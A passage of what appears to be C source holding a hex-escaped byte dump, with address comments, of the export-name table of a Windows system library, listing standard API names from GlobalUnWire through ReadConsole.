\"\\x7A\\x65\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x55\\x6E\\x57\\x69\\x72\\x65\\x00\" // ze.GlobalUnWire.\n/* 7C807190 */ \"\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x55\\x6E\\x66\\x69\\x78\\x00\\x47\\x6C\\x6F\\x62\" // GlobalUnfix.Glob\n/* 7C8071A0 */ \"\\x61\\x6C\\x55\\x6E\\x6C\\x6F\\x63\\x6B\\x00\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x57\" // alUnlock.GlobalW\n/* 7C8071B0 */ \"\\x69\\x72\\x65\\x00\\x48\\x65\\x61\\x70\\x33\\x32\\x46\\x69\\x72\\x73\\x74\\x00\" // ire.Heap32First.\n/* 7C8071C0 */ \"\\x48\\x65\\x61\\x70\\x33\\x32\\x4C\\x69\\x73\\x74\\x46\\x69\\x72\\x73\\x74\\x00\" // Heap32ListFirst.\n/* 7C8071D0 */ \"\\x48\\x65\\x61\\x70\\x33\\x32\\x4C\\x69\\x73\\x74\\x4E\\x65\\x78\\x74\\x00\\x48\" // Heap32ListNext.H\n/* 7C8071E0 */ \"\\x65\\x61\\x70\\x33\\x32\\x4E\\x65\\x78\\x74\\x00\\x48\\x65\\x61\\x70\\x41\\x6C\" // eap32Next.HeapAl\n/* 7C8071F0 */ \"\\x6C\\x6F\\x63\\x00\\x48\\x65\\x61\\x70\\x43\\x6F\\x6D\\x70\\x61\\x63\\x74\\x00\" // loc.HeapCompact.\n/* 7C807200 */ \"\\x48\\x65\\x61\\x70\\x43\\x72\\x65\\x61\\x74\\x65\\x00\\x48\\x65\\x61\\x70\\x43\" // HeapCreate.HeapC\n/* 7C807210 */ \"\\x72\\x65\\x61\\x74\\x65\\x54\\x61\\x67\\x73\\x57\\x00\\x48\\x65\\x61\\x70\\x44\" // reateTagsW.HeapD\n/* 7C807220 */ \"\\x65\\x73\\x74\\x72\\x6F\\x79\\x00\\x48\\x65\\x61\\x70\\x45\\x78\\x74\\x65\\x6E\" // estroy.HeapExten\n/* 7C807230 */ \"\\x64\\x00\\x48\\x65\\x61\\x70\\x46\\x72\\x65\\x65\\x00\\x48\\x65\\x61\\x70\\x4C\" // d.HeapFree.HeapL\n/* 7C807240 */ \"\\x6F\\x63\\x6B\\x00\\x48\\x65\\x61\\x70\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\" // ock.HeapQueryInf\n/* 7C807250 */ \"\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x48\\x65\\x61\\x70\\x51\\x75\\x65\" // ormation.HeapQue\n/* 7C807260 */ \"\\x72\\x79\\x54\\x61\\x67\\x57\\x00\\x48\\x65\\x61\\x70\\x52\\x65\\x41\\x6C\\x6C\" // ryTagW.HeapReAll\n/* 7C807270 */ \"\\x6F\\x63\\x00\\x48\\x65\\x61\\x70\\x53\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\" // oc.HeapSetInform\n/* 7C807280 */ \"\\x61\\x74\\x69\\x6F\\x6E\\x00\\x48\\x65\\x61\\x70\\x53\\x69\\x7A\\x65\\x00\\x48\" // ation.HeapSize.H\n/* 7C807290 */ \"\\x65\\x61\\x70\\x53\\x75\\x6D\\x6D\\x61\\x72\\x79\\x00\\x48\\x65\\x61\\x70\\x55\" // eapSummary.HeapU\n/* 7C8072A0 */ \"\\x6E\\x6C\\x6F\\x63\\x6B\\x00\\x48\\x65\\x61\\x70\\x55\\x73\\x61\\x67\\x65\\x00\" // nlock.HeapUsage.\n/* 7C8072B0 */ \"\\x48\\x65\\x61\\x70\\x56\\x61\\x6C\\x69\\x64\\x61\\x74\\x65\\x00\\x48\\x65\\x61\" // HeapValidate.Hea\n/* 7C8072C0 */ \"\\x70\\x57\\x61\\x6C\\x6B\\x00\\x49\\x6E\\x69\\x74\\x41\\x74\\x6F\\x6D\\x54\\x61\" // pWalk.InitAtomTa\n/* 7C8072D0 */ \"\\x62\\x6C\\x65\\x00\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x43\\x72\" // ble.InitializeCr\n/* 7C8072E0 */ \"\\x69\\x74\\x69\\x63\\x61\\x6C\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\\x49\\x6E\" // iticalSection.In\n/* 7C8072F0 */ \"\\x69\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x43\\x72\\x69\\x74\\x69\\x63\\x61\\x6C\" // itializeCritical\n/* 7C807300 */ \"\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x41\\x6E\\x64\\x53\\x70\\x69\\x6E\\x43\\x6F\" // SectionAndSpinCo\n/* 7C807310 */ \"\\x75\\x6E\\x74\\x00\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x53\\x4C\" // unt.InitializeSL\n/* 7C807320 */ \"\\x69\\x73\\x74\\x48\\x65\\x61\\x64\\x00\\x49\\x6E\\x74\\x65\\x72\\x6C\\x6F\\x63\" // istHead.Interloc\n/* 7C807330 */ \"\\x6B\\x65\\x64\\x43\\x6F\\x6D\\x70\\x61\\x72\\x65\\x45\\x78\\x63\\x68\\x61\\x6E\" // kedCompareExchan\n/* 7C807340 */ \"\\x67\\x65\\x00\\x49\\x6E\\x74\\x65\\x72\\x6C\\x6F\\x63\\x6B\\x65\\x64\\x44\\x65\" // ge.InterlockedDe\n/* 7C807350 */ \"\\x63\\x72\\x65\\x6D\\x65\\x6E\\x74\\x00\\x49\\x6E\\x74\\x65\\x72\\x6C\\x6F\\x63\" // crement.Interloc\n/* 7C807360 */ \"\\x6B\\x65\\x64\\x45\\x78\\x63\\x68\\x61\\x6E\\x67\\x65\\x00\\x49\\x6E\\x74\\x65\" // kedExchange.Inte\n/* 7C807370 */ \"\\x72\\x6C\\x6F\\x63\\x6B\\x65\\x64\\x45\\x78\\x63\\x68\\x61\\x6E\\x67\\x65\\x41\" // rlockedExchangeA\n/* 7C807380 */ \"\\x64\\x64\\x00\\x49\\x6E\\x74\\x65\\x72\\x6C\\x6F\\x63\\x6B\\x65\\x64\\x46\\x6C\" // dd.InterlockedFl\n/* 7C807390 */ \"\\x75\\x73\\x68\\x53\\x4C\\x69\\x73\\x74\\x00\\x49\\x6E\\x74\\x65\\x72\\x6C\\x6F\" // ushSList.Interlo\n/* 7C8073A0 */ \"\\x63\\x6B\\x65\\x64\\x49\\x6E\\x63\\x72\\x65\\x6D\\x65\\x6E\\x74\\x00\\x49\\x6E\" // ckedIncrement.In\n/* 7C8073B0 */ \"\\x74\\x65\\x72\\x6C\\x6F\\x63\\x6B\\x65\\x64\\x50\\x6F\\x70\\x45\\x6E\\x74\\x72\" // terlockedPopEntr\n/* 7C8073C0 */ \"\\x79\\x53\\x4C\\x69\\x73\\x74\\x00\\x49\\x6E\\x74\\x65\\x72\\x6C\\x6F\\x63\\x6B\" // ySList.Interlock\n/* 7C8073D0 */ \"\\x65\\x64\\x50\\x75\\x73\\x68\\x45\\x6E\\x74\\x72\\x79\\x53\\x4C\\x69\\x73\\x74\" // edPushEntrySList\n/* 7C8073E0 */ \"\\x00\\x49\\x6E\\x76\\x61\\x6C\\x69\\x64\\x61\\x74\\x65\\x43\\x6F\\x6E\\x73\\x6F\" // .InvalidateConso\n/* 7C8073F0 */ \"\\x6C\\x65\\x44\\x49\\x42\\x69\\x74\\x73\\x00\\x49\\x73\\x42\\x61\\x64\\x43\\x6F\" // leDIBits.IsBadCo\n/* 7C807400 */ \"\\x64\\x65\\x50\\x74\\x72\\x00\\x49\\x73\\x42\\x61\\x64\\x48\\x75\\x67\\x65\\x52\" // dePtr.IsBadHugeR\n/* 7C807410 */ \"\\x65\\x61\\x64\\x50\\x74\\x72\\x00\\x49\\x73\\x42\\x61\\x64\\x48\\x75\\x67\\x65\" // eadPtr.IsBadHuge\n/* 7C807420 */ \"\\x57\\x72\\x69\\x74\\x65\\x50\\x74\\x72\\x00\\x49\\x73\\x42\\x61\\x64\\x52\\x65\" // WritePtr.IsBadRe\n/* 7C807430 */ \"\\x61\\x64\\x50\\x74\\x72\\x00\\x49\\x73\\x42\\x61\\x64\\x53\\x74\\x72\\x69\\x6E\" // adPtr.IsBadStrin\n/* 7C807440 */ \"\\x67\\x50\\x74\\x72\\x41\\x00\\x49\\x73\\x42\\x61\\x64\\x53\\x74\\x72\\x69\\x6E\" // gPtrA.IsBadStrin\n/* 7C807450 */ \"\\x67\\x50\\x74\\x72\\x57\\x00\\x49\\x73\\x42\\x61\\x64\\x57\\x72\\x69\\x74\\x65\" // gPtrW.IsBadWrite\n/* 7C807460 */ \"\\x50\\x74\\x72\\x00\\x49\\x73\\x44\\x42\\x43\\x53\\x4C\\x65\\x61\\x64\\x42\\x79\" // Ptr.IsDBCSLeadBy\n/* 7C807470 */ \"\\x74\\x65\\x00\\x49\\x73\\x44\\x42\\x43\\x53\\x4C\\x65\\x61\\x64\\x42\\x79\\x74\" // te.IsDBCSLeadByt\n/* 7C807480 */ \"\\x65\\x45\\x78\\x00\\x49\\x73\\x44\\x65\\x62\\x75\\x67\\x67\\x65\\x72\\x50\\x72\" // eEx.IsDebuggerPr\n/* 7C807490 */ \"\\x65\\x73\\x65\\x6E\\x74\\x00\\x49\\x73\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x49\" // esent.IsProcessI\n/* 7C8074A0 */ \"\\x6E\\x4A\\x6F\\x62\\x00\\x49\\x73\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x6F\\x72\" // nJob.IsProcessor\n/* 7C8074B0 */ \"\\x46\\x65\\x61\\x74\\x75\\x72\\x65\\x50\\x72\\x65\\x73\\x65\\x6E\\x74\\x00\\x49\" // FeaturePresent.I\n/* 7C8074C0 */ \"\\x73\\x53\\x79\\x73\\x74\\x65\\x6D\\x52\\x65\\x73\\x75\\x6D\\x65\\x41\\x75\\x74\" // sSystemResumeAut\n/* 7C8074D0 */ \"\\x6F\\x6D\\x61\\x74\\x69\\x63\\x00\\x49\\x73\\x56\\x61\\x6C\\x69\\x64\\x43\\x6F\" // omatic.IsValidCo\n/* 7C8074E0 */ \"\\x64\\x65\\x50\\x61\\x67\\x65\\x00\\x49\\x73\\x56\\x61\\x6C\\x69\\x64\\x4C\\x61\" // dePage.IsValidLa\n/* 7C8074F0 */ \"\\x6E\\x67\\x75\\x61\\x67\\x65\\x47\\x72\\x6F\\x75\\x70\\x00\\x49\\x73\\x56\\x61\" // nguageGroup.IsVa\n/* 7C807500 */ \"\\x6C\\x69\\x64\\x4C\\x6F\\x63\\x61\\x6C\\x65\\x00\\x49\\x73\\x56\\x61\\x6C\\x69\" // lidLocale.IsVali\n/* 7C807510 */ \"\\x64\\x55\\x49\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\\x00\\x49\\x73\\x57\\x6F\" // dUILanguage.IsWo\n/* 7C807520 */ \"\\x77\\x36\\x34\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x4C\\x43\\x4D\\x61\\x70\" // w64Process.LCMap\n/* 7C807530 */ \"\\x53\\x74\\x72\\x69\\x6E\\x67\\x41\\x00\\x4C\\x43\\x4D\\x61\\x70\\x53\\x74\\x72\" // StringA.LCMapStr\n/* 7C807540 */ \"\\x69\\x6E\\x67\\x57\\x00\\x4C\\x5A\\x43\\x6C\\x6F\\x73\\x65\\x00\\x4C\\x5A\\x43\" // ingW.LZClose.LZC\n/* 7C807550 */ \"\\x6C\\x6F\\x73\\x65\\x46\\x69\\x6C\\x65\\x00\\x4C\\x5A\\x43\\x6F\\x70\\x79\\x00\" // loseFile.LZCopy.\n/* 7C807560 */ \"\\x4C\\x5A\\x43\\x72\\x65\\x61\\x74\\x65\\x46\\x69\\x6C\\x65\\x57\\x00\\x4C\\x5A\" // LZCreateFileW.LZ\n/* 7C807570 */ \"\\x44\\x6F\\x6E\\x65\\x00\\x4C\\x5A\\x49\\x6E\\x69\\x74\\x00\\x4C\\x5A\\x4F\\x70\" // Done.LZInit.LZOp\n/* 7C807580 */ \"\\x65\\x6E\\x46\\x69\\x6C\\x65\\x41\\x00\\x4C\\x5A\\x4F\\x70\\x65\\x6E\\x46\\x69\" // enFileA.LZOpenFi\n/* 7C807590 */ \"\\x6C\\x65\\x57\\x00\\x4C\\x5A\\x52\\x65\\x61\\x64\\x00\\x4C\\x5A\\x53\\x65\\x65\" // leW.LZRead.LZSee\n/* 7C8075A0 */ \"\\x6B\\x00\\x4C\\x5A\\x53\\x74\\x61\\x72\\x74\\x00\\x4C\\x65\\x61\\x76\\x65\\x43\" // k.LZStart.LeaveC\n/* 7C8075B0 */ \"\\x72\\x69\\x74\\x69\\x63\\x61\\x6C\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\\x4C\" // riticalSection.L\n/* 7C8075C0 */ \"\\x6F\\x61\\x64\\x4C\\x69\\x62\\x72\\x61\\x72\\x79\\x41\\x00\\x4C\\x6F\\x61\\x64\" // oadLibraryA.Load\n/* 7C8075D0 */ \"\\x4C\\x69\\x62\\x72\\x61\\x72\\x79\\x45\\x78\\x41\\x00\\x4C\\x6F\\x61\\x64\\x4C\" // LibraryExA.LoadL\n/* 7C8075E0 */ \"\\x69\\x62\\x72\\x61\\x72\\x79\\x45\\x78\\x57\\x00\\x4C\\x6F\\x61\\x64\\x4C\\x69\" // ibraryExW.LoadLi\n/* 7C8075F0 */ \"\\x62\\x72\\x61\\x72\\x79\\x57\\x00\\x4C\\x6F\\x61\\x64\\x4D\\x6F\\x64\\x75\\x6C\" // braryW.LoadModul\n/* 7C807600 */ \"\\x65\\x00\\x4C\\x6F\\x61\\x64\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x00\\x4C\" // e.LoadResource.L\n/* 7C807610 */ \"\\x6F\\x63\\x61\\x6C\\x41\\x6C\\x6C\\x6F\\x63\\x00\\x4C\\x6F\\x63\\x61\\x6C\\x43\" // ocalAlloc.LocalC\n/* 7C807620 */ \"\\x6F\\x6D\\x70\\x61\\x63\\x74\\x00\\x4C\\x6F\\x63\\x61\\x6C\\x46\\x69\\x6C\\x65\" // ompact.LocalFile\n/* 7C807630 */ \"\\x54\\x69\\x6D\\x65\\x54\\x6F\\x46\\x69\\x6C\\x65\\x54\\x69\\x6D\\x65\\x00\\x4C\" // TimeToFileTime.L\n/* 7C807640 */ \"\\x6F\\x63\\x61\\x6C\\x46\\x6C\\x61\\x67\\x73\\x00\\x4C\\x6F\\x63\\x61\\x6C\\x46\" // ocalFlags.LocalF\n/* 7C807650 */ \"\\x72\\x65\\x65\\x00\\x4C\\x6F\\x63\\x61\\x6C\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\" // ree.LocalHandle.\n/* 7C807660 */ \"\\x4C\\x6F\\x63\\x61\\x6C\\x4C\\x6F\\x63\\x6B\\x00\\x4C\\x6F\\x63\\x61\\x6C\\x52\" // LocalLock.LocalR\n/* 7C807670 */ \"\\x65\\x41\\x6C\\x6C\\x6F\\x63\\x00\\x4C\\x6F\\x63\\x61\\x6C\\x53\\x68\\x72\\x69\" // eAlloc.LocalShri\n/* 7C807680 */ \"\\x6E\\x6B\\x00\\x4C\\x6F\\x63\\x61\\x6C\\x53\\x69\\x7A\\x65\\x00\\x4C\\x6F\\x63\" // nk.LocalSize.Loc\n/* 7C807690 */ \"\\x61\\x6C\\x55\\x6E\\x6C\\x6F\\x63\\x6B\\x00\\x4C\\x6F\\x63\\x6B\\x46\\x69\\x6C\" // alUnlock.LockFil\n/* 7C8076A0 */ \"\\x65\\x00\\x4C\\x6F\\x63\\x6B\\x46\\x69\\x6C\\x65\\x45\\x78\\x00\\x4C\\x6F\\x63\" // e.LockFileEx.Loc\n/* 7C8076B0 */ \"\\x6B\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x00\\x4D\\x61\\x70\\x55\\x73\\x65\" // kResource.MapUse\n/* 7C8076C0 */ \"\\x72\\x50\\x68\\x79\\x73\\x69\\x63\\x61\\x6C\\x50\\x61\\x67\\x65\\x73\\x00\\x4D\" // rPhysicalPages.M\n/* 7C8076D0 */ \"\\x61\\x70\\x55\\x73\\x65\\x72\\x50\\x68\\x79\\x73\\x69\\x63\\x61\\x6C\\x50\\x61\" // apUserPhysicalPa\n/* 7C8076E0 */ \"\\x67\\x65\\x73\\x53\\x63\\x61\\x74\\x74\\x65\\x72\\x00\\x4D\\x61\\x70\\x56\\x69\" // gesScatter.MapVi\n/* 7C8076F0 */ \"\\x65\\x77\\x4F\\x66\\x46\\x69\\x6C\\x65\\x00\\x4D\\x61\\x70\\x56\\x69\\x65\\x77\" // ewOfFile.MapView\n/* 7C807700 */ \"\\x4F\\x66\\x46\\x69\\x6C\\x65\\x45\\x78\\x00\\x4D\\x6F\\x64\\x75\\x6C\\x65\\x33\" // OfFileEx.Module3\n/* 7C807710 */ \"\\x32\\x46\\x69\\x72\\x73\\x74\\x00\\x4D\\x6F\\x64\\x75\\x6C\\x65\\x33\\x32\\x46\" // 2First.Module32F\n/* 7C807720 */ \"\\x69\\x72\\x73\\x74\\x57\\x00\\x4D\\x6F\\x64\\x75\\x6C\\x65\\x33\\x32\\x4E\\x65\" // irstW.Module32Ne\n/* 7C807730 */ \"\\x78\\x74\\x00\\x4D\\x6F\\x64\\x75\\x6C\\x65\\x33\\x32\\x4E\\x65\\x78\\x74\\x57\" // xt.Module32NextW\n/* 7C807740 */ \"\\x00\\x4D\\x6F\\x76\\x65\\x46\\x69\\x6C\\x65\\x41\\x00\\x4D\\x6F\\x76\\x65\\x46\" // .MoveFileA.MoveF\n/* 7C807750 */ \"\\x69\\x6C\\x65\\x45\\x78\\x41\\x00\\x4D\\x6F\\x76\\x65\\x46\\x69\\x6C\\x65\\x45\" // ileExA.MoveFileE\n/* 7C807760 */ \"\\x78\\x57\\x00\\x4D\\x6F\\x76\\x65\\x46\\x69\\x6C\\x65\\x57\\x00\\x4D\\x6F\\x76\" // xW.MoveFileW.Mov\n/* 7C807770 */ \"\\x65\\x46\\x69\\x6C\\x65\\x57\\x69\\x74\\x68\\x50\\x72\\x6F\\x67\\x72\\x65\\x73\" // eFileWithProgres\n/* 7C807780 */ \"\\x73\\x41\\x00\\x4D\\x6F\\x76\\x65\\x46\\x69\\x6C\\x65\\x57\\x69\\x74\\x68\\x50\" // sA.MoveFileWithP\n/* 7C807790 */ \"\\x72\\x6F\\x67\\x72\\x65\\x73\\x73\\x57\\x00\\x4D\\x75\\x6C\\x44\\x69\\x76\\x00\" // rogressW.MulDiv.\n/* 7C8077A0 */ \"\\x4D\\x75\\x6C\\x74\\x69\\x42\\x79\\x74\\x65\\x54\\x6F\\x57\\x69\\x64\\x65\\x43\" // MultiByteToWideC\n/* 7C8077B0 */ \"\\x68\\x61\\x72\\x00\\x4E\\x6C\\x73\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x49\\x6E\" // har.NlsConvertIn\n/* 7C8077C0 */ \"\\x74\\x65\\x67\\x65\\x72\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x4E\\x6C\" // tegerToString.Nl\n/* 7C8077D0 */ \"\\x73\\x47\\x65\\x74\\x43\\x61\\x63\\x68\\x65\\x55\\x70\\x64\\x61\\x74\\x65\\x43\" // sGetCacheUpdateC\n/* 7C8077E0 */ \"\\x6F\\x75\\x6E\\x74\\x00\\x4E\\x6C\\x73\\x52\\x65\\x73\\x65\\x74\\x50\\x72\\x6F\" // ount.NlsResetPro\n/* 7C8077F0 */ \"\\x63\\x65\\x73\\x73\\x4C\\x6F\\x63\\x61\\x6C\\x65\\x00\\x4E\\x75\\x6D\\x61\\x56\" // cessLocale.NumaV\n/* 7C807800 */ \"\\x69\\x72\\x74\\x75\\x61\\x6C\\x51\\x75\\x65\\x72\\x79\\x4E\\x6F\\x64\\x65\\x00\" // irtualQueryNode.\n/* 7C807810 */ \"\\x4F\\x70\\x65\\x6E\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x57\\x00\\x4F\\x70\\x65\" // OpenConsoleW.Ope\n/* 7C807820 */ \"\\x6E\\x44\\x61\\x74\\x61\\x46\\x69\\x6C\\x65\\x00\\x4F\\x70\\x65\\x6E\\x45\\x76\" // nDataFile.OpenEv\n/* 7C807830 */ \"\\x65\\x6E\\x74\\x41\\x00\\x4F\\x70\\x65\\x6E\\x45\\x76\\x65\\x6E\\x74\\x57\\x00\" // entA.OpenEventW.\n/* 7C807840 */ \"\\x4F\\x70\\x65\\x6E\\x46\\x69\\x6C\\x65\\x00\\x4F\\x70\\x65\\x6E\\x46\\x69\\x6C\" // OpenFile.OpenFil\n/* 7C807850 */ \"\\x65\\x4D\\x61\\x70\\x70\\x69\\x6E\\x67\\x41\\x00\\x4F\\x70\\x65\\x6E\\x46\\x69\" // eMappingA.OpenFi\n/* 7C807860 */ \"\\x6C\\x65\\x4D\\x61\\x70\\x70\\x69\\x6E\\x67\\x57\\x00\\x4F\\x70\\x65\\x6E\\x4A\" // leMappingW.OpenJ\n/* 7C807870 */ \"\\x6F\\x62\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x00\\x4F\\x70\\x65\\x6E\\x4A\\x6F\" // obObjectA.OpenJo\n/* 7C807880 */ \"\\x62\\x4F\\x62\\x6A\\x65\\x63\\x74\\x57\\x00\\x4F\\x70\\x65\\x6E\\x4D\\x75\\x74\" // bObjectW.OpenMut\n/* 7C807890 */ \"\\x65\\x78\\x41\\x00\\x4F\\x70\\x65\\x6E\\x4D\\x75\\x74\\x65\\x78\\x57\\x00\\x4F\" // exA.OpenMutexW.O\n/* 7C8078A0 */ \"\\x70\\x65\\x6E\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x4F\\x70\\x65\\x6E\\x50\" // penProcess.OpenP\n/* 7C8078B0 */ \"\\x72\\x6F\\x66\\x69\\x6C\\x65\\x55\\x73\\x65\\x72\\x4D\\x61\\x70\\x70\\x69\\x6E\" // rofileUserMappin\n/* 7C8078C0 */ \"\\x67\\x00\\x4F\\x70\\x65\\x6E\\x53\\x65\\x6D\\x61\\x70\\x68\\x6F\\x72\\x65\\x41\" // g.OpenSemaphoreA\n/* 7C8078D0 */ \"\\x00\\x4F\\x70\\x65\\x6E\\x53\\x65\\x6D\\x61\\x70\\x68\\x6F\\x72\\x65\\x57\\x00\" // .OpenSemaphoreW.\n/* 7C8078E0 */ \"\\x4F\\x70\\x65\\x6E\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x4F\\x70\\x65\\x6E\\x57\" // OpenThread.OpenW\n/* 7C8078F0 */ \"\\x61\\x69\\x74\\x61\\x62\\x6C\\x65\\x54\\x69\\x6D\\x65\\x72\\x41\\x00\\x4F\\x70\" // aitableTimerA.Op\n/* 7C807900 */ \"\\x65\\x6E\\x57\\x61\\x69\\x74\\x61\\x62\\x6C\\x65\\x54\\x69\\x6D\\x65\\x72\\x57\" // enWaitableTimerW\n/* 7C807910 */ \"\\x00\\x4F\\x75\\x74\\x70\\x75\\x74\\x44\\x65\\x62\\x75\\x67\\x53\\x74\\x72\\x69\" // .OutputDebugStri\n/* 7C807920 */ \"\\x6E\\x67\\x41\\x00\\x4F\\x75\\x74\\x70\\x75\\x74\\x44\\x65\\x62\\x75\\x67\\x53\" // ngA.OutputDebugS\n/* 7C807930 */ \"\\x74\\x72\\x69\\x6E\\x67\\x57\\x00\\x50\\x65\\x65\\x6B\\x43\\x6F\\x6E\\x73\\x6F\" // tringW.PeekConso\n/* 7C807940 */ \"\\x6C\\x65\\x49\\x6E\\x70\\x75\\x74\\x41\\x00\\x50\\x65\\x65\\x6B\\x43\\x6F\\x6E\" // leInputA.PeekCon\n/* 7C807950 */ \"\\x73\\x6F\\x6C\\x65\\x49\\x6E\\x70\\x75\\x74\\x57\\x00\\x50\\x65\\x65\\x6B\\x4E\" // soleInputW.PeekN\n/* 7C807960 */ \"\\x61\\x6D\\x65\\x64\\x50\\x69\\x70\\x65\\x00\\x50\\x6F\\x73\\x74\\x51\\x75\\x65\" // amedPipe.PostQue\n/* 7C807970 */ \"\\x75\\x65\\x64\\x43\\x6F\\x6D\\x70\\x6C\\x65\\x74\\x69\\x6F\\x6E\\x53\\x74\\x61\" // uedCompletionSta\n/* 7C807980 */ \"\\x74\\x75\\x73\\x00\\x50\\x72\\x65\\x70\\x61\\x72\\x65\\x54\\x61\\x70\\x65\\x00\" // tus.PrepareTape.\n/* 7C807990 */ \"\\x50\\x72\\x69\\x76\\x43\\x6F\\x70\\x79\\x46\\x69\\x6C\\x65\\x45\\x78\\x57\\x00\" // PrivCopyFileExW.\n/* 7C8079A0 */ \"\\x50\\x72\\x69\\x76\\x4D\\x6F\\x76\\x65\\x46\\x69\\x6C\\x65\\x49\\x64\\x65\\x6E\" // PrivMoveFileIden\n/* 7C8079B0 */ \"\\x74\\x69\\x74\\x79\\x57\\x00\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x33\\x32\\x46\" // tityW.Process32F\n/* 7C8079C0 */ \"\\x69\\x72\\x73\\x74\\x00\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x33\\x32\\x46\\x69\" // irst.Process32Fi\n/* 7C8079D0 */ \"\\x72\\x73\\x74\\x57\\x00\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x33\\x32\\x4E\\x65\" // rstW.Process32Ne\n/* 7C8079E0 */ \"\\x78\\x74\\x00\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x33\\x32\\x4E\\x65\\x78\\x74\" // xt.Process32Next\n/* 7C8079F0 */ \"\\x57\\x00\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x49\\x64\\x54\\x6F\\x53\\x65\\x73\" // W.ProcessIdToSes\n/* 7C807A00 */ \"\\x73\\x69\\x6F\\x6E\\x49\\x64\\x00\\x50\\x75\\x6C\\x73\\x65\\x45\\x76\\x65\\x6E\" // sionId.PulseEven\n/* 7C807A10 */ \"\\x74\\x00\\x50\\x75\\x72\\x67\\x65\\x43\\x6F\\x6D\\x6D\\x00\\x51\\x75\\x65\\x72\" // t.PurgeComm.Quer\n/* 7C807A20 */ \"\\x79\\x41\\x63\\x74\\x43\\x74\\x78\\x57\\x00\\x51\\x75\\x65\\x72\\x79\\x44\\x65\" // yActCtxW.QueryDe\n/* 7C807A30 */ \"\\x70\\x74\\x68\\x53\\x4C\\x69\\x73\\x74\\x00\\x51\\x75\\x65\\x72\\x79\\x44\\x6F\" // pthSList.QueryDo\n/* 7C807A40 */ \"\\x73\\x44\\x65\\x76\\x69\\x63\\x65\\x41\\x00\\x51\\x75\\x65\\x72\\x79\\x44\\x6F\" // sDeviceA.QueryDo\n/* 7C807A50 */ \"\\x73\\x44\\x65\\x76\\x69\\x63\\x65\\x57\\x00\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\" // sDeviceW.QueryIn\n/* 7C807A60 */ \"\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x4A\\x6F\\x62\\x4F\\x62\\x6A\\x65\" // formationJobObje\n/* 7C807A70 */ \"\\x63\\x74\\x00\\x51\\x75\\x65\\x72\\x79\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x52\\x65\" // ct.QueryMemoryRe\n/* 7C807A80 */ \"\\x73\\x6F\\x75\\x72\\x63\\x65\\x4E\\x6F\\x74\\x69\\x66\\x69\\x63\\x61\\x74\\x69\" // sourceNotificati\n/* 7C807A90 */ \"\\x6F\\x6E\\x00\\x51\\x75\\x65\\x72\\x79\\x50\\x65\\x72\\x66\\x6F\\x72\\x6D\\x61\" // on.QueryPerforma\n/* 7C807AA0 */ \"\\x6E\\x63\\x65\\x43\\x6F\\x75\\x6E\\x74\\x65\\x72\\x00\\x51\\x75\\x65\\x72\\x79\" // nceCounter.Query\n/* 7C807AB0 */ \"\\x50\\x65\\x72\\x66\\x6F\\x72\\x6D\\x61\\x6E\\x63\\x65\\x46\\x72\\x65\\x71\\x75\" // PerformanceFrequ\n/* 7C807AC0 */ \"\\x65\\x6E\\x63\\x79\\x00\\x51\\x75\\x65\\x72\\x79\\x57\\x69\\x6E\\x33\\x31\\x49\" // ency.QueryWin31I\n/* 7C807AD0 */ \"\\x6E\\x69\\x46\\x69\\x6C\\x65\\x73\\x4D\\x61\\x70\\x70\\x65\\x64\\x54\\x6F\\x52\" // niFilesMappedToR\n/* 7C807AE0 */ \"\\x65\\x67\\x69\\x73\\x74\\x72\\x79\\x00\\x51\\x75\\x65\\x75\\x65\\x55\\x73\\x65\" // egistry.QueueUse\n/* 7C807AF0 */ \"\\x72\\x41\\x50\\x43\\x00\\x51\\x75\\x65\\x75\\x65\\x55\\x73\\x65\\x72\\x57\\x6F\" // rAPC.QueueUserWo\n/* 7C807B00 */ \"\\x72\\x6B\\x49\\x74\\x65\\x6D\\x00\\x52\\x61\\x69\\x73\\x65\\x45\\x78\\x63\\x65\" // rkItem.RaiseExce\n/* 7C807B10 */ \"\\x70\\x74\\x69\\x6F\\x6E\\x00\\x52\\x65\\x61\\x64\\x43\\x6F\\x6E\\x73\\x6F\\x6C\" // ption.ReadConsol\n/* 7C807B20 */ \"\\x65\\x41\\x00\\x52\\x65\\x61\\x64\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x49\\x6E\" // eA.ReadConsoleIn\n/* 7C807B30 */ \"\\x70\\x75\\x74\\x41\\x00\\x52\\x65\\x61\\x64\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\" // putA.ReadConsole\n/* 7C807B40 */ \"\\x49\\x6E\\x70\\x75\\x74\\x45\\x78\\x41\\x00\\x52\\x65\\x61\\x64\\x43\\x6F\\x6E\" // 